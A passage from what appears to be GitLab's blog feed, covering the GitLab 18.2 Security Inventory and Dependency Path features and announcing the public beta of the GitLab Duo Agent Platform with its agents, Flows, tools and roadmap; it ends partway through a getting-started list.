        <content type="html"><![CDATA[<p>Our most recent release, <a href="https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/">GitLab 18.2</a>, introduces two new capabilities to improve software supply chain security: Security Inventory and Dependency Path visualization.</p>
<p>Security Inventory gives Application Security teams a centralized, portfolio-wide view of risk and scan coverage across their GitLab groups and projects, helping them identify blind spots and prioritize risk mitigation efforts. Dependency Path visualization equips developers with a clear view of how open source vulnerabilities are introduced through the dependency chain, making it easier to pinpoint the right fix.</p>
<p>Together, these capabilities help security and development teams build more secure applications by providing visibility into where risks exist, context to remediate them, and workflows that support collaboration. Unlike other solutions, this all happens in the same platform developers use to build, review, and deploy software, creating a developer and AppSec experience without the overhead of integrations.</p>
<h2>Open source widens the attack surface area</h2>
<p>Modern applications <a href="https://about.gitlab.com/developer-survey/">heavily</a> rely on open source software. However, open source introduces a significant security risk — components can be outdated, unmaintained, or unknowingly expose vulnerabilities. That's why Software Composition Analysis (SCA) has become a cornerstone of modern AppSec programs.</p>
<p>A key challenge in vulnerability management is effectively managing <em>transitive dependency risk</em>. These components are often buried deep in the dependency chain, making it difficult to trace how a vulnerability was introduced or determine what needs to be updated to fix it. Worse, they account for nearly <a href="https://arxiv.org/abs/2503.22134?">two-thirds</a> of known open source vulnerabilities. Without clear visibility into the full dependency path, teams are left guessing, delaying remediation and increasing risk.</p>
<blockquote>
<p>Transitive dependencies are packages that your application uses indirectly. They're pulled in automatically by the direct dependencies you explicitly include. These nested dependencies can introduce vulnerabilities without the developer ever knowing they're in the project.</p>
</blockquote>
<p>This challenge becomes exponentially more difficult at scale. When security teams are responsible for hundreds, or even thousands, of repositories — each with their own dependencies, build pipelines, and owners — answering fundamental questions on application security risk posture becomes challenging. And in an era of growing software supply chain threats, where vulnerabilities can propagate across systems through shared libraries and CI/CD configurations, these blind spots take on even greater consequence.</p>
<h2>Security Inventory: Visibility that scales</h2>
<p>Security Inventory consolidates risk information across all your groups and projects into a unified view. It highlights which assets are covered by security scans and which aren't. Rather than managing issues in isolation, security teams can assess posture holistically and identify where to focus efforts.</p>
<p>This level of centralization is especially critical for organizations managing a large number of repositories. It allows platform and AppSec teams to understand where risk exists by highlighting unscanned or underprotected projects, but also enables them to take action directly from the interface. Teams can go beyond just awareness to enforcement with the full context and understanding of which applications pose the greatest risk. By turning fragmented insights into a single source of truth, Security Inventory enables organizations to move from reactive issue triage to strategic, data-driven security governance.
<img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101068/qhujktnbkhl2rzgqfead.png" alt="Security Inventory display">
Learn more by watching Security Inventory in action:
&lt;!-- blank line --&gt; &lt;figure class=&quot;video_container&quot;&gt; &lt;iframe src=&quot;https://www.youtube.com/embed/yqo6aJLS9Fw?si=CtYmsF-PLN1UKt83&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt; &lt;/figure&gt; &lt;!-- blank line --&gt;</p>
<h2>Dependency Path visualization: Clarity for effective remediation</h2>
<p>Security Inventory shows where the risks are at a high level; Dependency Path visualization shows how to fix them.</p>
<p>When a vulnerability is discovered deep in a dependency chain, identifying the correct fix can be complicated. Most security tools will highlight the affected package but stop short of explaining how it entered the codebase. Developers are left guessing which dependencies are directly introduced and which are pulled in transitively, making it difficult to determine where a change is needed, or worse, applying patches that don't address the root cause.</p>
<p>Our new Dependency Path visualization, sometimes referred to as a dependency graph, displays the full route from a top-level package to the vulnerable component following an SCA scan. This clarity is essential, especially given how pervasive deeply embedded vulnerabilities are in dependency chains. And since it's built into the GitLab workflow, developers gain actionable insight without context switching or guesswork. Security teams can more effectively triage issues while developers get assurance that remediations are addressing root causes.
<img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101069/kf5ym62gylm5ck6iebjk.png" alt="Dependency path visualization"></p>
<h2>Mitigate risk with developer-first security</h2>
<p>These capabilities are part of GitLab's broader strategy to deliver security within the same platform where code is planned, built, and deployed. By embedding security insights into the DevSecOps workflow, GitLab reduces friction and drives collaboration between development and security teams.</p>
<p>Security Inventory and Dependency Path visualization provide complementary perspectives: the former enables scale-aware oversight, the latter supports precision fixes. This alignment helps teams prioritize what matters most and close gaps without adding new tools or complex integrations.</p>
<blockquote>
<p>Get started with Security Inventory and Dependency Path visualization today! Sign up for a <a href="https://about.gitlab.com/free-trial/">free trial of GitLab Ultimate</a>.</p>
</blockquote>
<h2>Read more</h2>
<ul>
<li>
<p><a href="https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/">GitLab 18.2 released</a></p>
</li>
<li>
<p><a href="https://about.gitlab.com/solutions/security-compliance/">GitLab security solutions</a></p>
</li>
<li>
<p><a href="https://about.gitlab.com/the-source/security/field-guide-to-threat-vectors-in-the-software-supply-chain/">A field guide to threat vectors in the sofware supply chain</a></p>
</li>
</ul>
]]></content>
        <author>
            <name>Salman Ladha</name>
            <uri>https://about.gitlab.com/blog/authors/salman-ladha</uri>
        </author>
        <published>2025-07-21T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Duo Agent Platform Public Beta: Next-gen AI orchestration and more]]></title>
        <id>https://about.gitlab.com/blog/gitlab-duo-agent-platform-public-beta/</id>
        <link href="https://about.gitlab.com/blog/gitlab-duo-agent-platform-public-beta/"/>
        <updated>2025-07-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><strong>We're building the future of software development.</strong></p>
<p>At GitLab, we are <a href="https://about.gitlab.com/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops/">reimagining the future of software engineering</a> as a human and AI collaboration. Where developers focus on solving technical, complex problems and driving innovation, while AI agents handle the routine, repetitive tasks that slow down progress. Where developers are free to explore new ideas in code at much lower cost, bug backlogs are a thing of the past, and users of the software you build enjoy a more usable, reliable, and secure experience. This isn't a distant dream. We're building this reality today, and it is called the GitLab Duo Agent Platform.</p>
<h2>What is GitLab Duo Agent Platform?</h2>
<p>GitLab Duo Agent Platform is our next-generation DevSecOps orchestration platform designed to unlock asynchronous collaboration between developers and AI agents. It will transform your development workflow from isolated linear processes into dynamic collaboration where specialized AI agents work alongside you and your team on every stage of the software development lifecycle; it will be like having an unlimited team of colleagues at your disposal.</p>
<p>Imagine delegating a complex refactoring task to a Software Developer Agent while simultaneously having a Security Analyst Agent scan for vulnerabilities and a Deep Research Agent analyze progress across your repository history. This all happens in parallel, orchestrated seamlessly within GitLab.</p>
<p>Today, we are announcing the launch of the <a href="https://about.gitlab.com/gitlab-duo/agent-platform/">first public beta of the GitLab Duo Agent Platform</a> for GitLab.com and self-managed GitLab Premium and Ultimate customers. This is just the first in a series of updates that will improve how software gets planned, built, verified, and deployed as we amplify human ingenuity through intelligent automation.</p>
<p>This first beta focuses on unlocking the IDE experience through the GitLab VS Code extension and JetBrains IDEs plug-in; next month, we plan on bringing the Duo Agent Platform experience to the GitLab application and expand our IDE support. Let me share a bit more about our vision for the roadmap between now and general availability, planned for later this year. You can find details about the first beta down below.</p>
<p>Watch this video or read on for what's available now and what's to come. Then, if you're ready to get started with Duo Agent Platform, <a href="#get-started-now">find out how with the public beta</a>.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101993507?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;GitLab Agent Platform Beta Launch_071625_MP_v2&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>GitLab's unique position as an orchestration platform</h2>
<p>GitLab sits at the heart of the development lifecycle as the system of record for engineering teams, orchestrating the entire journey from concept to production for over 50 million registered users, including half of the Fortune 500 across geographies. This includes over 10,000 paying customers across all segments and verticals, including public institutions.</p>
<p>This gives GitLab something no competitor can match: a comprehensive understanding of everything it takes to deliver software. We bring together your project plans, code, test runs, security scans, compliance checks, and CI/CD configurations to not only power your team but also orchestrate collaboration with AI agents you control.</p>
<p>As an intelligent, unified DevSecOps platform, GitLab stores all of the context about your software engineering practice in one place. We will expose this unified data to AI agents via our knowledge graph. Every agent we build has automatic access to this SDLC-connected data set, providing rich context so agents can make informed recommendations and take actions that adhere to your organizational standards.</p>
<p><strong>Here's an example of this advantage in action.</strong> Have you ever tried to figure out exactly how a project is going across dozens, if not hundreds, of stories and issues being worked on across all the developers involved? Our Deep Research Agent leverages the GitLab Knowledge Graph and semantic search capabilities to traverse your epic and all related issues, and explore the related codebase and surrounding context. It quickly correlates information across your repositories, merge requests, and deployment history. This delivers critical insights that standalone tools can't match and that would take human developers hours to uncover.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101998114?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Deep Research Demo_071625_MP_v1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>Our strategic evolution from AI features to agent orchestration</h2>
<p>GitLab Duo started as an add-on, bringing generative AI to developers through Duo Pro and Enterprise. With GitLab 18.0, it's now built into the platform. We've unlocked <a href="https://about.gitlab.com/blog/gitlab-duo-chat-gets-agentic-ai-makeover/">Duo Agentic Chat</a> and Code Suggestions for all Premium and Ultimate users, and now we're providing immediate access to the Duo Agent Platform.</p>
<p>We've ramped up engineering investment and are accelerating delivery, with powerful new AI features landing every month. But we're not just building another coding assistant. GitLab Duo is becoming an agent orchestration platform, where you can create, customize, and deploy AI agents that work alongside you and interoperate easily with other systems, dramatically increasing productivity.</p>
<blockquote>
<p><strong>“GitLab Duo Agent Platform enhances our development workflow with AI that truly understands our codebase and our organization. Having GitLab Duo AI agents embedded in our system of record for code, tests, CI/CD, and the entire software development lifecycle boosts productivity, velocity, and efficiency. The agents have become true collaborators to our teams, and their ability to understand intent, break down problems, and take action frees our developers to tackle the exciting, innovative work they love.”</strong> - Bal Kang, Engineering Platform Lead at NatWest</p>
</blockquote>
<h3>Agents that work out of the box</h3>
<p>We are introducing agents that mirror familiar team roles. These agents can search, read, create, and modify existing artifacts across GitLab. Think of these as agents you can interact with individually, that also act as building blocks that you can customize to create your own agents. Like your team members, agents have defined specializations, such as software development, testing, or technical writing. As specialists, they're tapping into the right context and tools to consistently accomplish the same types of tasks, wherever they're deployed.</p>
<p>Here are some of the agents we're building today:</p>
<ul>
<li><strong>Chat Agent (now in beta):</strong> Takes natural language requests to provide information and context to the user. Can perform general development tasks, such as reading issues or code diffs. As an example, you can ask Chat to debug a failed job by providing the job URL.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1102616311?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;agentic-chat-in-web-ui-demo_Update V2&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li>
<p><strong>Software Developer Agent (now in beta):</strong> Works on assigned items by creating code changes in virtual development environments and opening merge requests for review.</p>
</li>
<li>
<p><strong>Product Planning Agent:</strong> Prioritizes product backlogs, assigns work items to human and agentic team members, and provides project updates over specified timelines.</p>
</li>
<li>
<p><strong>Software Test Engineer Agent:</strong> Tests new code contributions for bugs and validates if reported issues have been resolved.</p>
</li>
<li>
<p><strong>Code Reviewer Agent:</strong> Performs code reviews following team standards, identifies quality and security issues, and can merge code when ready.</p>
</li>
<li>
<p><strong>Platform Engineer Agent:</strong> Monitors GitLab deployments, including GitLab Runners, tracks CI/CD pipeline health, and reports performance issues to human platform engineering teams.</p>
</li>
<li>
<p><strong>Security Analyst Agent:</strong> Finds vulnerabilities within codebases and deployed applications, and implements code and configuration changes to help resolve security weaknesses.</p>
</li>
<li>
<p><strong>Deployment Engineer Agent:</strong> Deploys updates to production, monitors for unusual behavior, and rolls back changes that impact application performance or security.</p>
</li>
<li>
<p><strong>Deep Research Agent:</strong> Conducts comprehensive, multi-source analysis across your entire development ecosystem.</p>
</li>
</ul>
<p>What makes these agents powerful is their native access to GitLab's comprehensive toolkit. Today, we have over 25 tools, from issues and epics to merge requests and documentation, with more to come. Unlike external AI tools that operate with limited context, our agents work as true team members with full platform privileges under your supervision.</p>
<p>In the coming months, you'll also be able to modify these agents to meet the needs of your organization. For example, you'll be able to specify that a Software Test Engineer Agent follows best practices for a particular framework or methodology, deepening its specialization and turning it into an even more valuable team member.</p>
<h2>Flows orchestrate complex agent tasks</h2>
<p>On top of individual agents, we are introducing agent Flows. Think of these as more complex workflows that can include multiple agents with pre-built instructions, steps, and actions for a given task that can run autonomously.</p>
<p>While you can create Flows for basic tasks common to individuals, they truly excel when applied to complex, specialized tasks that would normally take hours of coordination and effort to complete. Flows will help you finish complex tasks faster and, in many cases, asynchronously without human intervention.</p>
<p>Flows have specific triggers for execution. Each Flow contains a series of steps, and each step has detailed instructions that tell a specialized agent what to do. This granular approach allows  you to give precise instructions to agents in the Flow. By defining instructions in greater detail and establishing structured decision points, Flows can help solve for the inherent variability in AI responses while eliminating the need to repeatedly specify the same requirements, unlocking more consistent and predictable outcomes without user configuration.</p>
<p>Here are some examples of out-of-the-box Flows that we are building:</p>
<ul>
<li>
<p><strong>Software Development Flow (now in beta):</strong> Orchestrates multiple agents to plan, implement, and test code changes end-to-end, helping transform how teams deliver features from concept to production.</p>
</li>
<li>
<p><strong>Issue-to-MR Flow:</strong> Automatically converts issues into actionable merge requests by coordinating agents to analyze requirements, prepare comprehensive implementation plans, and generate code.</p>
</li>
<li>
<p><strong>Convert CI File Flow:</strong> Streamlines migration workflows by having agents analyze existing CI/CD configurations and intelligently convert them to GitLab CI format with full pipeline compatibility.</p>
</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101941425?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;jenkins-to-gitlab-cicd-for-blog&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li>
<p><strong>Search and Replace Flow:</strong> Discovers and transforms code patterns across codebases by systematically analyzing project structures, identifying optimization opportunities, and executing precise replacements.</p>
</li>
<li>
<p><strong>Incident Response &amp; Root Cause Analysis Flow:</strong> Orchestrates incident response by correlating system data, coordinating specialized agents for root cause analysis, and executing approved remediation steps while keeping human stakeholders informed throughout the resolution process.</p>
</li>
</ul>
<p>This is where GitLab Duo Agent Platform is taking a truly unique approach versus other AI solutions. We won't just give you pre-built agents. We'll also give you the power to create, customize, and share agent Flows that perfectly match your individual and organization's unique needs. And with Flows, you will then be able to give agents a specific execution plan for common and complex tasks.</p>
<p>We believe this approach is more powerful than building purpose-built agents like our competitors do, because every organization has different workflows, coding standards, security requirements, and business logic. Generic AI tools can't understand your specific context, but GitLab Duo Agent Platform will be able to be tailored to work exactly how your team works.</p>
<h2>Why build agents and agent Flows in the GitLab Duo Agent Platform?</h2>
<p><strong>Build fast.</strong> You can build agents and complex agent Flows in the Duo Agent Platform quickly and easily using a fast, declarative extensibility model and UI assistance.</p>
<p><strong>Built-in compute.</strong> With Duo Agent Platform, you no longer have to worry about the hassle of standing up your own infrastructure for agents: compute, network, and storage are all built-in.</p>
<p><strong>SDLC events.</strong> Your agents can be invoked automatically on common events: broken pipeline, failed deployment, issue created, etc.</p>
<p><strong>Instant access.</strong> You can interact with your agents everywhere in GitLab or our IDE plug-in: assign them issues, @mention them in comments, and chat with them everywhere Duo Chat is available.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1102029239?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;assigning an agent an issue&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt; &lt;p&gt;&lt;/p&gt;</p>
<p><strong>Built-in and custom models supported.</strong> Your agents will have automatic access to all of the models we support, and users will be able to choose specific models for specific tasks. If you want to connect Duo Agent Platform to your own self-hosted model, you will be able to do that too!</p>
<p><strong>Model Context Protocol (MCP) endpoints.</strong> Every agent and Flow can be accessed or triggered via native MCP endpoints, allowing you to connect to and collaborate with your agents and Flows from anywhere, including popular tools like Claude Code, Cursor, Copilot, and Windsurf.</p>
<p><strong>Observability and security.</strong> Finally, we provide built-in observability and usage dashboards, so you can see exactly who, where, what, and when agents took actions on your behalf.</p>
<h2>A community-driven future</h2>
<p>Community contributions have long fueled GitLab's innovation and software development. We're excited to partner with our community with the introduction of the AI Catalog. The AI Catalog will allow you to create and share agents and Flows within your organization and across the GitLab Ecosystem in our upcoming beta.</p>
<p>We believe that the most valuable AI applications are likely to emerge from you, our community, thanks to your daily application of GitLab Duo Agent Platform to solve numerous real-world use cases. By enabling seamless sharing of agents and Flows, we're creating a network effect where each contribution enhances the platform's collective intelligence and value. Over time, we believe that the most valuable use cases from Agent Platform will come from our thriving GitLab community.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685501/awdwx08udwrxgvcpmssb.png" alt="AI Catalog" title="AI Catalog"></p>
<h2>Available today in the GitLab Duo Agent Platform in public beta</h2>
<p>The GitLab Duo Agent Platform public beta is available now to Premium and Ultimate customers with these capabilities:</p>
<p><strong>Software Development Flow:</strong> Our first Flow orchestrates agents in gathering comprehensive context, clarifying ambiguities with human developers, and executing strategic plans to make precise changes to your codebase and repository. It leverages your entire project, including its structure, codebase, and history, along with additional context like GitLab issues or merge requests to amplify developer productivity.</p>
<p><strong>New Agent tools available:</strong> Agents now have access to multiple tools to do their work, including:</p>
<ul>
<li>File System (Read, Create, Edit, Find Files, List, Grep)</li>
<li>Execute Command Line*</li>
<li>Issues (List, Get, Get Comments, Edit*, Create*, Add/Update Comments*)</li>
<li>Epics (Get, Get Comments)</li>
<li>MR (Get, Get Comments, Get Diff, Create, Update)</li>
<li>Pipeline (Job Logs, Pipeline Errors)</li>
<li>Project (Get, Get File)</li>
<li>Commits (Get, List, Get Comments, Get Diff)</li>
<li>Search (Issue Search)</li>
<li>Secure (List Vulnerabilities)</li>
<li>Documentation Search</li>
</ul>
<p>*=Requires user approval</p>
<p><strong>GitLab Duo Agentic Chat in the IDE:</strong> Duo Agentic Chat transforms the chat experience from a passive Q&amp;A tool into an active development partner directly in your IDE.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1103237126?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;agentic-ai-launch-video_NEW&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>Iterative feedback and chat history:</strong> Duo Agentic Chat now supports chat history and iterative feedback, transforming the agent into a stateful, conversational partner. This fosters trust, enabling developers to delegate more complex tasks and offer corrective guidance.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743173?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;agentic-chat-history&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>Streamlined delegation with slash commands:</strong> Expanded, more powerful slash commands, such as /explain, /tests, and /include, create a “delegation language” for quick and precise intent. The /include command allows the explicit injection of context from specific files, open issues, merge requests, or dependencies directly into the agent's working memory, making the agent more powerful and teaching users how to provide optimal context for high-quality responses.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743187?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;include-agentic-chat-jc-voiceover&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>Personalization through custom rules:</strong> New Custom Rules enables developers to tailor agent behavior to individual and team preferences using natural language, for example, development style guides. This foundational mechanism shapes the agent's persona into a personalized assistant, evolving toward specialized agents based on user-defined preferences and organizational policies.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743179?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;custom-rules-with-jc-voiceover&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>Support for GitLab Duo Agentic Chat in JetBrains IDE:</strong> To help meet developers where they work, we have expanded Duo Agentic Chat support to the JetBrains family of IDEs, including IntelliJ, PyCharm, GoLand, and Webstorm. This adds to our existing support for VS Code. Existing users get agentic capabilities automatically, while new users can install the plugin from the JetBrains Marketplace.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743193?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;jetbrains-support-jc-voiceover&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>MCP client support:</strong> Duo Agentic Chat can now act as an MCP client, connecting to remote and locally running MCP servers. This capability unlocks the agent's ability to connect to systems beyond GitLab like Jira, ServiceNow, and ZenDesk to gather context or take actions. Any service that exposes itself via MCP can now become part of the agent's skill set. The official GitLab MCP Server is coming soon!</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743202?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;McpDemo&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>GitLab Duo Agentic Chat in GitLab Web UI.</strong> Duo Agentic Chat is also now available directly within the GitLab Web UI. This pivotal step evolves the agent from a coding assistant to a true DevSecOps agent, as it gains access to rich non-code context, such as issues and merge request discussions, allowing it to understand the &quot;why&quot; behind the work. Beyond understanding context, the agent can make changes directly from the WebUI, such as automatically updating issue statuses or editing merge request descriptions.</li>
</ul>
<h2>Coming soon to GitLab Duo Agent Platform</h2>
<p>Over the coming weeks, we'll release new capabilities to Duo Agent Platform, including more out-of-the-box agents and Flows. These will bring the platform into the GitLab experience you love today and enable even greater customization and extensibility, amplifying productivity for our customers:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685275/hjbe9iiu2ydp9slibsc2.png" alt="GitLab Duo Agent Platform public beta roadmap" title="GitLab Duo Agent Platform public beta roadmap"></p>
<ul>
<li>
<p><strong>Integrated GitLab experience:</strong> Building on the IDE extensions available in 18.2, we're expanding agents and Flows within the GitLab platform. This deeper integration will expand the ways you can collaborate synchronously and asynchronously with agents. You will be able to assign issues directly to agents, @mention them within GitLab Duo Chat, and seamlessly invoke them from anywhere in the application while maintaining MCP connectivity from your developer tool of choice. This native integration transforms agents into true development team members, accessible across GitLab.</p>
</li>
<li>
<p><strong>Agent observability:</strong> As agents become more autonomous, we're building comprehensive visibility into their activity as they progress through Flows, enabling you to monitor their decision-making processes, track execution steps, and understand how they're interpreting and acting on your development challenges. This transparency into agent behavior builds trust and confidence while allowing you to optimize workflows and identify bottlenecks, and helps ensure agents are performing exactly as intended.</p>
</li>
<li>
<p><strong>AI Catalog:</strong> Recognizing that great solutions come from community innovation, we will soon introduce the public beta of our AI Catalog — a marketplace which will allow you to extend Duo Agent Platform with specialized Agents and Flows sourced from GitLab, and over time, the broader community.  You'll be able to quickly deploy these solutions in GitLab, leveraging context across your projects and codebase.</p>
</li>
<li>
<p><strong>Knowledge Graph:</strong> Leveraging GitLab's unique advantage as the system of record for source code and its surrounding context, we're building a comprehensive Knowledge Graph that not only maps files and dependencies across the codebase but also makes that map navigable for users while accelerating AI query times and helping increase accuracy. This foundation enables GitLab Duo agents to quickly understand relationships across your entire development environment, from code dependencies to deployment patterns, unlocking faster and more precise responses to complex questions.</p>
</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685367/n0tvfgorchuhrronic3j.png" alt="GitLab Duo Agent Platform Knowledge Graph" title="GitLab Duo Agent Platform Knowledge Graph"></p>
<ul>
<li><strong>Create and edit agents and Flows:</strong> Understanding that every organization has unique workflows and requirements, we're developing powerful agent and Flow creation and editing capabilities that will be introduced as the AI Catalog matures. You'll be able to create and modify agents and Flows to operate precisely the way your organization works, delivering deep customization across the Duo Agent Platform that enables higher quality results and increased productivity.</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752684938/fruwqcqvvrx8gmkz5u0v.png" alt="AI Catalog" title="AI Catalog"></p>
<ul>
<li>
<p><strong>Official GitLab MCP Server:</strong> Recognizing that developers work across multiple tools and environments, we're building an official GitLab MCP server that will enable you to access all of your agents and Flows via MCP. You'll be able to connect to and collaborate with your agents and Flows from anywhere MCP is supported, including popular tools like Claude Code, Cursor, Copilot, and Windsurf, unlocking seamless AI collaboration regardless of your preferred development environment.</p>
</li>
<li>
<p><strong>GitLab Duo Agent Platform CLI:</strong> Our upcoming CLI will allow you to invoke agents and trigger Flows on the command line, leveraging GitLab's rich context across the entire software development lifecycle—from code repositories and merge requests to CI/CD pipelines and issue tracking.</p>
</li>
</ul>
<h2>Get started now</h2>
<ul>
<li>
<p><strong>GitLab Premium and Ultimate customers</strong> in GitLab.com and self-managed environments using GitLab 18.2 can use Duo Agent Platform immediately (beta and experimental features for GitLab Duo <a href="https://docs.gitlab.com/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features">must be enabled</a>). GitLab Dedicated customers will be able to use the Duo Agent Platform with the release of GitLab 18.2 for Dedicated next month.</p>
</li>
<li>
